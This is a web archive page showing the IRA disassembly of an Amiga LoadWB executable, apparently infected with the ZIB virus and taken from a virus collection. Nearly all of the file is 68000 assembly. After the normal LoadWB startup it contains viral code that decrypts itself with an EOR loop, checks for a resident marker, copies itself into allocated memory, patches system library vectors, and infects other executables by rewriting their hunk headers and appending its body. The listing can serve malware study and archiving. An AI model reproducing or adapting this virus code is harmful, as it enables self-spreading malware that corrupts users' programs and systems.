home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
virusCollection.lzx
/
VirusCollectie
/
z
/
ZIB
/
LoadWB-afterSpatch.asm
< prev
next >
Wrap
Assembly Source File
|
1989-05-01
|
25KB
|
945 lines
; IRA V1.02 (Sep 6 1993) (c)1993 Tim Ruehsen
ABSEXECBASE EQU $4
EXT_0001 EQU $20283330
EXT_0002 EQU $C8DBDFCA
SECTION S_0,CODE
SECSTRT_0:
LINK A5,#-64 ;000: 4E55FFC0
MOVEM.L D2-D3/D5-D7/A2-A3/A6,-(A7) ;004: 48E73732
MOVEA #$0004,A0 ;008: 307C0004
MOVEA.L (A0),A2 ;00C: 2450
MOVEA.L A2,A0 ;00E: 204A
MOVEQ #20,D7 ;010: 7E14
MOVE.L A0,48(A7) ;012: 2F480030
LEA LAB_0016(PC),A1 ;016: 43FA021A
MOVEQ #36,D0 ;01A: 7024
MOVEA.L A2,A6 ;01C: 2C4A
JSR -552(A6) ;01E: 4EAEFDD8
MOVEA.L D0,A3 ;022: 2640
MOVEA.L A3,A0 ;024: 204B
MOVE.L A0,44(A7) ;026: 2F48002C
MOVE.L A3,D0 ;02A: 200B
BEQ LAB_0014 ;02C: 670001EA
MOVEQ #15,D0 ;030: 700F
MOVEQ #0,D1 ;032: 7200
LEA -32(A5),A0 ;034: 41EDFFE0
LAB_0000:
MOVE.B D1,(A0)+ ;038: 10C1
DBF D0,LAB_0000 ;03A: 51C8FFFC
LEA LAB_0017(PC),A0 ;03E: 41FA01FE
MOVE.L A0,D1 ;042: 2208
LEA -32(A5),A6 ;044: 4DEDFFE0
MOVE.L A6,D2 ;048: 240E
MOVEQ #0,D3 ;04A: 7600
MOVEA.L A3,A6 ;04C: 2C4B
JSR -798(A6) ;04E: 4EAEFCE2
MOVE.L D0,40(A7) ;052: 2F400028
TST.L D0 ;056: 4A80
BNE.S LAB_0001 ;058: 6610
JSR -132(A6) ;05A: 4EAEFF7C
MOVE.L D0,D1 ;05E: 2200
MOVE.L D3,D2 ;060: 2403
JSR -474(A6) ;062: 4EAEFE26
BRA LAB_0012 ;066: 60000196
LAB_0001:
LEA LAB_0018(PC),A1 ;06A: 43FA0216
MOVEQ #36,D0 ;06E: 7024
MOVEA.L A2,A6 ;070: 2C4A
JSR -552(A6) ;072: 4EAEFDD8
MOVE.L D0,36(A7) ;076: 2F400024
TST.L D0 ;07A: 4A80
BEQ LAB_0011 ;07C: 67000176
SUBA.L A2,A2 ;080: 95CA
SUBA.L A0,A0 ;082: 91C8
MOVE.L A0,D7 ;084: 2E08
MOVE.L A0,-36(A5) ;086: 2B48FFDC
TST.L -24(A5) ;08A: 4AADFFE8
BEQ.S LAB_0002 ;08E: 6708
MOVE.B #$2E,LAB_002D ;090: 13FC002E000003FE
LAB_0002:
MOVEA.L D3,A1 ;098: 2243
MOVEA.L 48(A7),A6 ;09A: 2C6F0030
JSR -294(A6) ;09E: 4EAEFEDA
MOVEA.L D0,A0 ;0A2: 2040
MOVE.L 172(A0),D1 ;0A4: 222800AC
ASL.L #2,D1 ;0A8: E581
MOVE.L D1,D6 ;0AA: 2C01
MOVE.L D0,32(A7) ;0AC: 2F400020
TST.L D6 ;0B0: 4A86
BEQ.S LAB_0007 ;0B2: 6766
MOVEA.L D6,A1 ;0B4: 2246
MOVE.L 8(A1),D6 ;0B6: 2C290008
BRA.S LAB_0007 ;0BA: 605E
LAB_0003:
MOVEQ #8,D0 ;0BC: 7008
MOVE.L #$00010001,D1 ;0BE: 223C00010001
MOVEA.L 48(A7),A6 ;0C4: 2C6F0030
JSR -198(A6) ;0C8: 4EAEFF3A
MOVEA.L D0,A3 ;0CC: 2640
MOVE.L A3,D0 ;0CE: 200B
BEQ.S LAB_0006 ;0D0: 6742
MOVE.L A2,D0 ;0D2: 200A
BNE.S LAB_0004 ;0D4: 6604
MOVEA.L A3,A2 ;0D6: 244B
BRA.S LAB_0005 ;0D8: 600A
LAB_0004:
MOVE.L A3,D0 ;0DA: 200B
ASR.L #2,D0 ;0DC: E480
MOVEA.L -36(A5),A0 ;0DE: 206DFFDC
MOVE.L D0,(A0) ;0E2: 2080
LAB_0005:
MOVEA.L A3,A0 ;0E4: 204B
MOVE.L D6,D0 ;0E6: 2006
ASL.L #2,D0 ;0E8: E580
MOVEA.L D0,A1 ;0EA: 2240
MOVE.L (A1),D6 ;0EC: 2C11
MOVEA.L 44(A7),A3 ;0EE: 266F002C
MOVE.L A0,-36(A5) ;0F2: 2B48FFDC
MOVE.L A0,52(A7) ;0F6: 2F480034
MOVE.L 4(A1),D1 ;0FA: 22290004
MOVEA.L A3,A6 ;0FE: 2C4B
JSR -96(A6) ;100: 4EAEFFA0
MOVEA.L 52(A7),A0 ;104: 206F0034
MOVE.L D0,4(A0) ;108: 21400004
TST.L D0 ;10C: 4A80
BNE.S LAB_0007 ;10E: 660A
MOVEQ #20,D7 ;110: 7E14
BRA.S LAB_0007 ;112: 6006
LAB_0006:
MOVEQ #20,D7 ;114: 7E14
MOVEA.L 44(A7),A3 ;116: 266F002C
LAB_0007:
TST.L D6 ;11A: 4A86
BEQ.S LAB_0008 ;11C: 6704
TST.L D7 ;11E: 4A87
BEQ.S LAB_0003 ;120: 679A
LAB_0008:
TST.L D7 ;122: 4A87
BNE LAB_000D ;124: 66000082
MOVEQ #0,D6 ;128: 7C00
MOVEQ #0,D5 ;12A: 7A00
BRA.S LAB_000B ;12C: 6018
LAB_0009:
MOVE.L D5,D0 ;12E: 2005
EXT.L D0 ;130: 48C0
ASL.L #2,D0 ;132: E580
TST.L -32(A5,D0.L) ;134: 4AB508E0
BEQ.S LAB_000A ;138: 670A
MOVE.L D5,D0 ;13A: 2005
EXT.L D0 ;13C: 48C0
MOVEQ #1,D1 ;13E: 7201
ASL.L D0,D1 ;140: E1A1
OR.L D1,D6 ;142: 8C81
LAB_000A:
ADDQ #1,D5 ;144: 5245
LAB_000B:
MOVEQ #4,D0 ;146: 7004
CMP D0,D5 ;148: BA40
BLT.S LAB_0009 ;14A: 6DE2
MOVEQ #0,D1 ;14C: 7200
MOVEA.L A3,A6 ;14E: 2C4B
JSR -126(A6) ;150: 4EAEFF82
MOVEA.L 32(A7),A1 ;154: 226F0020
MOVEA.L 164(A1),A0 ;158: 206900A4
CLR.L 164(A1) ;15C: 42A900A4
MOVE.L D0,44(A7) ;160: 2F40002C
MOVE.L A0,52(A7) ;164: 2F480034
MOVEA.L 36(A7),A0 ;168: 206F0024
JSR LAB_001A(PC) ;16C: 4EBA0126
MOVE.L A2,D0 ;170: 200A
ASR.L #2,D0 ;172: E480
MOVE.L D0,D1 ;174: 2200
MOVE.L D6,D0 ;176: 2006
MOVEA.L 36(A7),A6 ;178: 2C6F0024
JSR -42(A6) ;17C: 4EAEFFD6
MOVEA.L 32(A7),A0 ;180: 206F0020
MOVE.L 52(A7),164(A0) ;184: 216F003400A4
MOVE D0,56(A7) ;18A: 3F400038
MOVE.L 44(A7),D1 ;18E: 222F002C
MOVEA.L A3,A6 ;192: 2C4B
JSR -126(A6) ;194: 4EAEFF82
MOVE 56(A7),D0 ;198: 302F0038
EXT.L D0 ;19C: 48C0
BEQ.S LAB_000C ;19E: 6704
SUBA.L A2,A2 ;1A0: 95CA
BRA.S LAB_0010 ;1A2: 603C
LAB_000C:
MOVEQ #5,D7 ;1A4: 7E05
BRA.S LAB_0010 ;1A6: 6038
LAB_000D:
MOVEA.L A3,A6 ;1A8: 2C4B
JSR -132(A6) ;1AA: 4EAEFF7C
MOVE.L D0,D1 ;1AE: 2200
MOVEQ #0,D2 ;1B0: 7400
JSR -474(A6) ;1B2: 4EAEFE26
BRA.S LAB_0010 ;1B6: 6028
LAB_000E:
MOVE.L 4(A2),D0 ;1B8: 202A0004
BEQ.S LAB_000F ;1BC: 6708
MOVE.L D0,D1 ;1BE: 2200
MOVEA.L A3,A6 ;1C0: 2C4B
JSR -90(A6) ;1C2: 4EAEFFA6
LAB_000F:
MOVE.L (A2),D0 ;1C6: 2012
MOVE.L D0,32(A7) ;1C8: 2F400020
MOVEA.L A2,A1 ;1CC: 224A
MOVEQ #8,D0 ;1CE: 7008
MOVEA.L 48(A7),A6 ;1D0: 2C6F0030
JSR -210(A6) ;1D4: 4EAEFF2E
MOVE.L 32(A7),D0 ;1D8: 202F0020
ASL.L #2,D0 ;1DC: E580
MOVEA.L D0,A2 ;1DE: 2440
LAB_0010:
MOVE.L A2,D0 ;1E0: 200A
BNE.S LAB_000E ;1E2: 66D4
MOVEA.L 48(A7),A2 ;1E4: 246F0030
MOVEA.L 36(A7),A1 ;1E8: 226F0024
MOVEA.L A2,A6 ;1EC: 2C4A
JSR -414(A6) ;1EE: 4EAEFE62
BRA.S LAB_0012 ;1F2: 600A
LAB_0011:
MOVEQ #122,D1 ;1F4: 727A
MOVEQ #0,D2 ;1F6: 7400
MOVEA.L A3,A6 ;1F8: 2C4B
JSR -474(A6) ;1FA: 4EAEFE26
LAB_0012:
TST.L 40(A7) ;1FE: 4AAF0028
BEQ.S LAB_0013 ;202: 670A
MOVE.L 40(A7),D1 ;204: 222F0028
MOVEA.L A3,A6 ;208: 2C4B
JSR -858(A6) ;20A: 4EAEFCA6
LAB_0013:
MOVEA.L A3,A1 ;20E: 224B
MOVEA.L A2,A6 ;210: 2C4A
JSR -414(A6) ;212: 4EAEFE62
BRA.S LAB_0015 ;216: 6010
LAB_0014:
MOVEA #$0004,A0 ;218: 307C0004
MOVEA.L (A0),A1 ;21C: 2250
MOVEA.L 276(A1),A0 ;21E: 20690114
MOVEQ #122,D0 ;222: 707A
MOVE.L D0,148(A0) ;224: 21400094
LAB_0015:
MOVE.L D7,D0 ;228: 2007
MOVEM.L (A7)+,D2-D3/D5-D7/A2-A3/A6 ;22A: 4CDF4CEC
UNLK A5 ;22E: 4E5D
RTS ;230: 4E75
LAB_0016:
DC.W $646F ;232
DC.W $732E ;234
DC.W $6C69 ;236
BHI.S LAB_001B ;238: 6272
BSR.S LAB_001B+2 ;23A: 6172
DC.W $7900 ;23C
LAB_0017:
MOVE.L D4,17730(A6) ;23E: 2D444542
SUBQ #2,D7 ;242: 5547
MOVE.L (A3),11332(A7) ;244: 2F532C44
DC.W $454C ;248
DC.W $4159 ;24A
DC.W $2F53 ;24C
MOVEA.L D3,A6 ;24E: 2C43
DC.W $4C45 ;250
DC.W $414E ;252
SUBQ #2,(A0) ;254: 5550
MOVE.L (A3),11342(A7) ;256: 2F532C4E
DC.W $4557 ;25A
ADDQ #8,D1 ;25C: 5041
ADDQ #2,A0 ;25E: 5448
MOVE.L (A3),36(A7) ;260: 2F530024
ADDQ #3,D5 ;264: 5645
DC.W $523A ;266
DC.W $206C ;268
DC.W $6F61 ;26A
DC.W $6477 ;26C
BHI.S LAB_0019 ;26E: 6220
DC.W $3338 ;270
MOVE.L EXT_0001,D7 ;272: 2E3920283330
DC.W $2E33 ;278
DC.W $2E39 ;27A
DC.W $3229 ;27C
DC.W $0A0D ;27E
DC.W $0000 ;280
LAB_0018:
DC.W $776F ;282
MOVEQ #107,D1 ;284: 726B
DC.W $6265 ;286
DC.W $6E63 ;288
BVC.S LAB_001E+2 ;28A: 682E
DC.W $6C69 ;28C
BHI.S LAB_0021 ;28E: 6272
LAB_0019:
BSR.S LAB_0021+2 ;290: 6172
DC.W $7900 ;292
LAB_001A:
MOVEM.L A2-A3/A6,-(A7) ;294: 48E70032
MOVEA.L A0,A2 ;298: 2448
BSR LAB_0030 ;29A: 6100018C
NOP ;29E: 4E71
JSR -132(A6) ;2A0: 4EAEFF7C
CMPI #$0025,20(A2) ;2A4: 0C6A00250014
BNE.S LAB_001D ;2AA: 6608
LAB_001B:
CMPI #$0084,22(A2) ;2AC: 0C6A00840016
BEQ.S LAB_001F ;2B2: 670A
LAB_001D:
JSR -138(A6) ;2B4: 4EAEFF76
LAB_001E:
MOVEM.L (A7)+,A2-A3/A6 ;2B8: 4CDF4C00
RTS ;2BC: 4E75
LAB_001F:
BTST #1,45(A2) ;2BE: 082A0001002D
BNE.S LAB_001D ;2C4: 66EE
BTST #7,44(A2) ;2C6: 082A0007002C
BNE.S LAB_001D ;2CC: 66E6
MOVE.L #$000000A4,D0 ;2CE: 203C000000A4
MOVE.L #$00000001,D1 ;2D4: 223C00000001
JSR -684(A6) ;2DA: 4EAEFD54
MOVEA.L D0,A3 ;2DE: 2640
LSR.L #2,D0 ;2E0: E488
BEQ.S LAB_001D ;2E2: 67D0
MOVEA.L A3,A0 ;2E4: 204B
LEA LAB_0023(PC),A1 ;2E6: 43FA0076
MOVE.L #$00000028,D1 ;2EA: 223C00000028
LAB_0020:
MOVE.L (A1)+,(A0)+ ;2F0: 20D9
DBF D1,LAB_0020 ;2F2: 51C9FFFC
MOVE.L 36(A2),(A3) ;2F6: 26AA0024
MOVE.L D0,36(A2) ;2FA: 25400024
JSR -636(A6) ;2FE: 4EAEFD84
LAB_0021:
LEA 4(A3),A0 ;302: 41EB0004
MOVE.L A0,D0 ;306: 2008
MOVEA.L A2,A1 ;308: 224A
MOVEA #$FFDC,A0 ;30A: 307CFFDC
JSR -420(A6) ;30E: 4EAEFE5C
MOVE.L D0,144(A3) ;312: 27400090
LEA 86(A3),A0 ;316: 41EB0056
MOVE.L A0,D0 ;31A: 2008
MOVEA.L A2,A1 ;31C: 224A
MOVEA #$FFF4,A0 ;31E: 307CFFF4
JSR -420(A6) ;322: 4EAEFE5C
MOVE.L D0,148(A3) ;326: 27400094
BSET #7,44(A2) ;32A: 08EA0007002C
LEA LAB_002E(PC),A1 ;330: 43FA00D0
MOVEQ #37,D0 ;334: 7025
JSR -552(A6) ;336: 4EAEFDD8
MOVE.L D0,152(A3) ;33A: 27400098
BEQ LAB_001D ;33E: 6700FF74
MOVEA.L D0,A6 ;342: 2C40
SUBA.L A2,A2 ;344: 95CA
LEA LAB_002F+1(PC),A1 ;346: 43FA00C9
SUBA.L A0,A0 ;34A: 91C8
JSR -150(A6) ;34C: 4EAEFF6A
MOVE.L D0,156(A3) ;350: 2740009C
BSR LAB_0030 ;354: 610000D2
NOP ;358: 4E71
BRA LAB_001D ;35A: 6000FF58
LAB_0023:
ORI.B #$00,D0 ;35E: 00000000
CMPI.L #$00000008,D0 ;362: 0C8000000008
BNE.S LAB_0024 ;368: 6606
BCLR #1,44(A6) ;36A: 08AE0001002C
LAB_0024:
MOVE.L D2,-(A7) ;370: 2F02
MOVE.L D0,D2 ;372: 2400
MOVEA.L LAB_0029(PC),A0 ;374: 207A0078
JSR (A0) ;378: 4E90
CMPI.L #$00000064,D2 ;37A: 0C8200000064
BNE.S LAB_0025 ;380: 660A
LEA LAB_002D(PC),A0 ;382: 41FA007A
MOVE.B (A0),D0 ;386: 1010
BEQ.S LAB_0025 ;388: 6702
MOVE.L A0,D0 ;38A: 2008
LAB_0025:
MOVE.L LAB_002C(PC),D1 ;38C: 223A006C
BEQ.S LAB_0027 ;390: 671E
MOVEA.L D1,A0 ;392: 2041
MOVEA.L D0,A1 ;394: 2240
MOVE.L D2,D0 ;396: 2002
MOVE.L LAB_002B(PC),D2 ;398: 243A005C
EXG D2,A6 ;39C: C58E
JSR -72(A6) ;39E: 4EAEFFB8
TST.L D0 ;3A2: 4A80
BEQ.S LAB_0026 ;3A4: 6708
MOVEA.L D0,A0 ;3A6: 2040
MOVE.B (A0),D1 ;3A8: 1210
BNE.S LAB_0026 ;3AA: 6602
MOVEQ #0,D0 ;3AC: 7000
LAB_0026:
EXG D2,A6 ;3AE: C58E
LAB_0027:
MOVE.L (A7)+,D2 ;3B0: 241F
BRA.S LAB_0031 ;3B2: 6078
MOVE.L LAB_002A(PC),-(A7) ;3B4: 2F3A003C
CMPI #$0001,32(A6) ;3B8: 0C6E00010020
BNE.S LAB_0028 ;3BE: 662C
MOVE.L LAB_002B(PC),D0 ;3C0: 203A0034
BEQ.S LAB_0028 ;3C4: 6726
MOVE.L A6,-(A7) ;3C6: 2F0E
MOVEA.L D0,A6 ;3C8: 2C40
MOVEA.L LAB_002C(PC),A0 ;3CA: 207A002E
JSR -36(A6) ;3CE: 4EAEFFDC
MOVEA.L A6,A1 ;3D2: 224E
BSR LAB_0030 ;3D4: 61000052
NOP ;3D8: 4E71
JSR -414(A6) ;3DA: 4EAEFE62
MOVEQ #0,D0 ;3DE: 7000
LEA LAB_002B(PC),A0 ;3E0: 41FA0014
MOVE.L D0,(A0)+ ;3E4: 20C0
MOVE.L D0,(A0)+ ;3E6: 20C0
MOVE.L D0,(A0) ;3E8: 2080
MOVEA.L (A7)+,A6 ;3EA: 2C5F
LAB_0028:
BRA.S LAB_0031 ;3EC: 603E
LAB_0029:
ORI.B #$00,D0 ;3EE: 00000000
LAB_002A:
ORI.B #$00,D0 ;3F2: 00000000
LAB_002B:
ORI.B #$00,D0 ;3F6: 00000000
LAB_002C:
ORI.B #$00,D0 ;3FA: 00000000
LAB_002D:
ORI.B #$00,D0 ;3FE: 00000000
LAB_002E:
DC.W $6C6F ;402
DC.W $6361 ;404
DC.W $6C65 ;406
MOVEA.L 26978(A4),A7 ;408: 2E6C6962
MOVEQ #97,D1 ;40C: 7261
MOVEQ #121,D1 ;40E: 7279
LAB_002F:
DC.W $0073 ;410
DC.W $7973 ;412
DC.W $2F77 ;414
BLE.S LAB_003A ;416: 6F72
BMI.S LAB_0037+6 ;418: 6B62
BCS.S LAB_003A ;41A: 656E
BLS.S LAB_0039 ;41C: 6368
MOVEA.L -(A3),A7 ;41E: 2E63
BSR.S LAB_003C+4 ;420: 6174
BSR.S LAB_003B+2 ;422: 616C
DC.W $6F67 ;424
DC.W $0000 ;426
LAB_0030:
MOVEA.L (ABSEXECBASE).W,A6 ;428: 2C780004
LAB_0031:
MOVEM.L D0-D7/A0-A6,-(A7) ;42C: 48E7FFFE
BSR.S LAB_0032 ;430: 6108
BSR.S LAB_0036 ;432: 613E
MOVEM.L (A7)+,D0-D7/A0-A6 ;434: 4CDF7FFF
RTS ;438: 4E75
LAB_0032:
MOVEM.L D0-D7/A0-A6,-(A7) ;43A: 48E7FFFE
LEA LAB_0068(PC),A0 ;43E: 41FA0422
DC.W $43FA ;442
DC.W $04D4 ;444
LAB_0033:
EORI #$BABE,(A0)+ ;446: 0A58BABE
CMPA.L A0,A1 ;44A: B3C8
BNE.S LAB_0033 ;44C: 66F8
MOVEA.L (ABSEXECBASE).W,A6 ;44E: 2C780004
JSR -636(A6) ;452: 4EAEFD84
MOVEM.L (A7)+,D0-D7/A0-A6 ;456: 4CDF7FFF
RTS ;45A: 4E75
LAB_0034:
MOVEM.L D1-D7/A0-A6,-(A7) ;45C: 48E77FFE
MOVE.L #$00050001,D1 ;460: 223C00050001
JSR -684(A6) ;466: 4EAEFD54
MOVEM.L (A7)+,D1-D7/A0-A6 ;46A: 4CDF7FFE
TST.L D0 ;46E: 4A80
LAB_0035:
RTS ;470: 4E75
LAB_0036:
MOVEA.L (ABSEXECBASE).W,A6 ;472: 2C780004
LAB_0037:
CMPI.L #$54525369,514(A6) ;476: 0CAE545253690202
BEQ.S LAB_0035 ;47E: 67F0
MOVE.L #$00000200,D0 ;480: 203C00000200
LAB_0039:
BSR.S LAB_0034 ;486: 61D4
BEQ.S LAB_0035 ;488: 67E6
LAB_003A:
LEA LAB_0031(PC),A1 ;48A: 43FAFFA0
LAB_003B:
MOVE.L D0,1062(A1) ;48E: 23400426
LAB_003C:
MOVE.L #$00000522,D0 ;492: 203C00000522
BSR.S LAB_0034 ;498: 61C2
BEQ.S LAB_0035 ;49A: 67D4
MOVEA.L D0,A0 ;49C: 2040
MOVE #$04EB,D1 ;49E: 323C04EB
LAB_003D:
MOVE.B (A1)+,(A0)+ ;4A2: 10D9
DBF D1,LAB_003D ;4A4: 51C9FFFC
MOVEA.L D0,A0 ;4A8: 2040
PEA 134(A0) ;4AA: 48680086
JMP -636(A6) ;4AE: 4EEEFD84
LEA LAB_0067(PC),A1 ;4B2: 43FA03A2
MOVE.L #$10020019,198(A1) ;4B6: 237C1002001900C6
MOVEQ #37,D0 ;4BE: 7025
JSR -552(A6) ;4C0: 4EAEFDD8
TST.L D0 ;4C4: 4A80
BEQ.S LAB_0035 ;4C6: 67A8
DC.W $43FA ;4C8
DC.W $044E ;4CA
MOVE.L D0,(A1) ;4CC: 2280
MOVEA.L D0,A2 ;4CE: 2440
MOVEA.L -148(A2),A3 ;4D0: 266AFF6C
LEA LAB_003F(PC),A4 ;4D4: 49FA0044
MOVE.L -162(A4),D1 ;4D8: 222CFF5E
CMP.L -162(A3),D1 ;4DC: B2ABFF5E
BEQ.S LAB_003E ;4E0: 6708
MOVE.L A3,1042(A4) ;4E2: 294B0412
MOVE.L A4,-148(A2) ;4E6: 254CFF6C
LAB_003E:
MOVE.L LAB_0037+2(PC),514(A6) ;4EA: 2D7AFF8C0202
LEA LAB_006A(PC),A1 ;4F0: 43FA0384
JSR -294(A6) ;4F4: 4EAEFEDA
TST.L D0 ;4F8: 4A80
BNE.S LAB_0041 ;4FA: 6634
LEA LAB_006A(PC),A1 ;4FC: 43FA0378
MOVE.L A1,D1 ;500: 2209
CLR.L D2 ;502: 4282
LEA LAB_0053(PC),A1 ;504: 43FA01CA
MOVE.L A1,D3 ;508: 2609
LSR.L #2,D3 ;50A: E48B
MOVE.L #$00000400,D4 ;50C: 283C00000400
DC.W $2C7A ;512
DC.W $0404 ;514
JMP -138(A6) ;516: 4EEEFF76
LAB_003F:
MOVEM.L D0-D7/A0-A6,-(A7) ;51A: 48E7FFFE
DC.W $4BFA ;51E
DC.W $0428 ;520
TST.L (A5) ;522: 4A95
BNE.S LAB_0040 ;524: 6602
BSR.S LAB_0043 ;526: 6110
LAB_0040:
MOVEM.L (A7)+,D0-D7/A0-A6 ;528: 4CDF7FFF
DC.W $2F3A ;52C
DC.W $03FE ;52E
LAB_0041:
RTS ;530: 4E75
LAB_0042:
MOVE.L D7,D1 ;532: 2207
JMP -90(A6) ;534: 4EEEFFA6
LAB_0043:
DC.W $2C7A ;538
BSET D1,(A6)+ ;53A: 03DE
DC.W $41FA ;53C
BSET D1,-127(A2,D2.W) ;53E: 03F22081
MOVEQ #-1,D2 ;542: 74FF
JSR -84(A6) ;544: 4EAEFFAC
TST.L D0 ;548: 4A80
BEQ.S LAB_0041 ;54A: 67E4
MOVE.L D0,D7 ;54C: 2E00
MOVE.L D0,D1 ;54E: 2200
MOVEA.L LAB_0066(PC),A5 ;550: 2A7A0300
MOVE.L A5,D2 ;554: 240D
JSR -114(A6) ;556: 4EAEFF8E
TST.L D0 ;55A: 4A80
BEQ.S LAB_0042 ;55C: 67D4
CMPI.L #$00000052,8(A5) ;55E: 0CAD000000520008
BNE.S LAB_0042 ;566: 66CA
MOVE.L 12(A5),D0 ;568: 202D000C
SUB.L 16(A5),D0 ;56C: 90AD0010
CMP.L #$00000005,D0 ;570: B0BC00000005
BLE.S LAB_0042 ;576: 6FBA
MOVE.L D7,D1 ;578: 2207
MOVE.L A5,D2 ;57A: 240D
JSR -102(A6) ;57C: 4EAEFF9A
TST.L D0 ;580: 4A80
BEQ.S LAB_0042 ;582: 67AE
TST 116(A5) ;584: 4A6D0074
BNE.S LAB_0042 ;588: 66A8
CMPI.L #$0001E848,124(A5) ;58A: 0CAD0001E848007C
BHI.S LAB_0042 ;592: 629E
BSR.S LAB_0042 ;594: 619C
MOVE.L 124(A5),D0 ;596: 202D007C
MOVEA.L (ABSEXECBASE).W,A6 ;59A: 2C780004
BSR LAB_0034 ;59E: 6100FEBC
BEQ.S LAB_0044 ;5A2: 6716
MOVE.L D0,D7 ;5A4: 2E00
DC.W $2C7A ;5A6
DC.W $0370 ;5A8
DC.W $223A ;5AA
BCLR D1,D4 ;5AC: 0384
MOVE.L #$000003ED,D2 ;5AE: 243C000003ED
JSR -30(A6) ;5B4: 4EAEFFE2
TST.L D0 ;5B8: 4A80
LAB_0044:
BEQ LAB_0049 ;5BA: 6700008C
MOVE.L D0,D6 ;5BE: 2C00
MOVE.L D0,D1 ;5C0: 2200
MOVE.L D7,D2 ;5C2: 2407
MOVEA.L LAB_0066(PC),A5 ;5C4: 2A7A028C
MOVE.L 124(A5),D3 ;5C8: 262D007C
JSR -42(A6) ;5CC: 4EAEFFD6
CMP.L 124(A5),D0 ;5D0: B0AD007C
BEQ.S LAB_0047 ;5D4: 670A
BRA.S LAB_0048 ;5D6: 6042
LAB_0045:
MOVE.L D7,D2 ;5D8: 2407
LAB_0046:
MOVE.L D6,D1 ;5DA: 2206
JMP -48(A6) ;5DC: 4EEEFFD0
LAB_0047:
MOVE.L D6,D1 ;5E0: 2206
CLR.L D2 ;5E2: 4282
MOVEQ #-1,D3 ;5E4: 76FF
JSR -66(A6) ;5E6: 4EAEFFBE
BSR.S LAB_004A ;5EA: 6166
BNE.S LAB_0048 ;5EC: 662C
DC.W $263A ;5EE
BCHG D1,D4 ;5F0: 0344
BSR.S LAB_0045 ;5F2: 61E4
BSR LAB_0032 ;5F4: 6100FE44
LEA LAB_0031(PC),A0 ;5F8: 41FAFE32
MOVE.L A0,D2 ;5FC: 2408
MOVE.L #$000004EC,D3 ;5FE: 263C000004EC
BSR.S LAB_0046 ;604: 61D4
MOVE.L D7,D2 ;606: 2407
MOVE.L 124(A5),D3 ;608: 262D007C
DC.W $96BA ;60C
BTST D1,-(A6) ;60E: 0326
DC.W $D4BA ;610
BTST D1,-(A2) ;612: 0322
BSR.S LAB_0046 ;614: 61C4
BSR LAB_0032 ;616: 6100FE22
LAB_0048:
MOVE.L D6,D1 ;61A: 2206
JSR -36(A6) ;61C: 4EAEFFDC
DC.W $2C7A ;620
DC.W $02F6 ;622
MOVEA.L LAB_0066(PC),A5 ;624: 2A7A022C
MOVE #$FAB4,116(A5) ;628: 3B7CFAB40074
MOVE.L 116(A5),D2 ;62E: 242D0074
DC.W $223A ;632
DC.W $02FC ;634
JSR -186(A6) ;636: 4EAEFF46
LEA 132(A5),A0 ;63A: 41ED0084
DC.W $223A ;63E
DC.W $02F0 ;640
MOVE.L A0,D2 ;642: 2408
JMP -396(A6) ;644: 4EEEFE74
LAB_0049:
MOVEA.L (ABSEXECBASE).W,A6 ;648: 2C780004
MOVEA.L D7,A1 ;64C: 2247
JMP -690(A6) ;64E: 4EEEFD4E
LAB_004A:
MOVEA.L D7,A0 ;652: 2047
CMPI #$03F3,2(A0) ;654: 0C6803F30002
BEQ.S LAB_004D ;65A: 6704
LAB_004B:
MOVEQ #-1,D0 ;65C: 70FF
LAB_004C:
RTS ;65E: 4E75
LAB_004D:
MOVE.L 8(A0),D0 ;660: 20280008
ADDQ.L #5,D0 ;664: 5A80
LSL.L #2,D0 ;666: E588
CMPI #$03E9,2(A0,D0.L) ;668: 0C7003E90802
BNE.S LAB_004C ;66E: 66EE
MOVE.L 4(A0,D0.L),D1 ;670: 22300804
CMP.L 20(A0),D1 ;674: B2A80014
BNE.S LAB_004B ;678: 66E2
ADDI.L #$0000013B,20(A0) ;67A: 06A80000013B0014
ADDI.L #$0000013B,4(A0,D0.L) ;682: 06B00000013B0804
LSL.L #2,D1 ;68A: E589
ADD.L D1,D0 ;68C: D081
ADDQ.L #8,D0 ;68E: 5080
DC.W $43FA ;690
ANDI.L #$2280D1C0,-(A2) ;692: 02A22280D1C0
CMPI.L #$54525369,-1184(A0) ;698: 0CA854525369FB60
BEQ.S LAB_004B ;6A0: 67BA
MOVEQ #-1,D2 ;6A2: 74FF
MOVEQ #62,D0 ;6A4: 703E
LAB_004E:
CMPI #$4E75,-(A0) ;6A6: 0C604E75
BEQ.S LAB_0050 ;6AA: 6708
LAB_004F:
DBF D0,LAB_004E ;6AC: 51C8FFF8
TST.L D2 ;6B0: 4A82
RTS ;6B2: 4E75
LAB_0050:
MOVEQ #124,D1 ;6B4: 727C
LSL.L #1,D0 ;6B6: E388
SUB.L D0,D1 ;6B8: 9280
BNE.S LAB_0051 ;6BA: 6606
MOVE #$4E71,(A0) ;6BC: 30BC4E71
BRA.S LAB_0052 ;6C0: 6008
LAB_0051:
MOVE.B #$60,(A0) ;6C2: 10BC0060
MOVE.B D1,1(A0) ;6C6: 11410001
LAB_0052:
MOVEQ #0,D2 ;6CA: 7400
LSR.L #1,D0 ;6CC: E288
BRA.S LAB_004F ;6CE: 60DC
LAB_0053:
ORI.B #$10,D0 ;6D0: 00000010
ORI.B #$00,D0 ;6D4: 00000000
LAB_0054:
BSR.S LAB_0055 ;6D8: 611C
DC.W $2C7A ;6DA
DC.W $023C ;6DC
LEA LAB_0069(PC),A1 ;6DE: 43FA0194
MOVE.L A1,D1 ;6E2: 2209
MOVEQ #-2,D2 ;6E4: 74FE
JSR -84(A6) ;6E6: 4EAEFFAC
MOVE.L D0,D1 ;6EA: 2200
BEQ.S LAB_0056 ;6EC: 6710
JSR -90(A6) ;6EE: 4EAEFFA6
BRA LAB_0058 ;6F2: 600000AE
LAB_0055:
DC.W $4BFA ;6F6
ANDI #$4695,(A0) ;6F8: 02504695
RTS ;6FC: 4E75
LAB_0056:
MOVEA.L (ABSEXECBASE).W,A6 ;6FE: 2C780004
LEA LAB_0068(PC),A1 ;702: 43FA015E
CLR 234(A1) ;706: 426900EA
MOVEQ #3,D0 ;70A: 7003
JSR -552(A6) ;70C: 4EAEFDD8
TST.L D0 ;710: 4A80
BEQ LAB_0058 ;712: 6700008E
LEA LAB_006B(PC),A0 ;716: 41FA0162
MOVE.L D0,190(A0) ;71A: 214000BE
MOVEA.L D0,A6 ;71E: 2C40
JSR -210(A6) ;720: 4EAEFF2E
TST.L D0 ;724: 4A80
BEQ.S LAB_0057 ;726: 676E
DC.W $41FA ;728
DC.W $0212 ;72A
MOVE.L D0,(A0) ;72C: 2080
MOVEA.L D0,A5 ;72E: 2A40
